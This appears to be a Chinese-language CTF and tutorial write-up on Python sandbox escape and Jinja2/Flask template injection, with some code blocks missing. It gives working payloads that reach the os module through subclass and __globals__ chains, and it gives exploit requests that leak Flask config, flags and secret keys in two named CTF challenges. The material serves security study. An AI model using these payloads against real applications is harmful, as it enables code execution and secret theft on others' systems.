python沙箱逃逸
https://www.jianshu.com/p/a77c50dfebcb
1 | #!/usr/bin/env python |
寻找的思路,我以python2中的第一条为例来说明,大家可以看到,无论是[].__class__.__base__.__subclasses__()
还是"".__class__.__mro__[-1].__subclasses__()
还是样例中的其他写法,都表示(python2)或是
的子类,所以这就是我们sandbox bypass的核心, 首先通过这份代码:
1 | #!/usr/bin/env python |
我们找到
1 | ... |
这两个模块是引入过’os’模块的,所以我们就可以用:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
轻松引入os模块了。 再以Python2的第三条和第四条为例,我用如下代码寻找的:
1 | #!/usr/bin/env python |
所以其实寻找方式其实大同小异,只要巧妙的运用魔术方法来寻找关键函数和关键模块就行了,当然其中的变通啊bypass啊也需要根据实际环境去解决,这里就不再过多赘述。
哦,还要多提一下jinja2,因为使用的频率相当高,所以jinja2下的给一个poc:
1 | request.__class__.__mro__[8].__subclasses__()[40] |
另外关于jinja2下的一些其他姿势,我就不强行搬运了,主要看看这个Jinja2 template injection filter bypasses
当然最好是看jinja的文档中的内置过滤器清单一栏
思路则主要是利用内置过滤器来控制输入来bypass黑名单过滤。
SSTI
提到了这里还是说说实际和ssti相关的东西,以flask为例,如果是直接return render_template('home.html', url=request.args.get('p'))
就基本不存在ssti了,render_template_string
存在ssti,而django中的如果使用return render(request,'xxx.html',var)
也基本是安全的。
Flask
CTF shrine题目
url_for
, g
, request
, namespace
, lipsum
, range
, session
, dict
, get_flashed_messages
, cycler
, joiner
, config
3. If I can use (
and )
1 | {{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}} |
method 1.Discover current_app in url_for
1 | {{url_for}} |
↓
1 | <function url_for at 0x7f5cc8cd1f28> |
1 | {{url_for.__globals__}} |
method 2.Discover current_app in get_flashed_messages
1 | {{get_flashed_messages}} |
↓
``
1 | {{get_flashed_messages.__globals__}} |
exploit
1 | GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}} |
or
1 | GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}} |
↓
CTF CISCN-2018-Final
格式化字符串+SESSION伪造+软连接读文件
代码中class User(db.Model,SQLAlchemy)
继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app
变量,通过测试可以获取。
注册POC: {user.__class__.__mro__[3].__init__.__globals__[current_app].config}
,登陆后访问个人中心,拿到secret_key。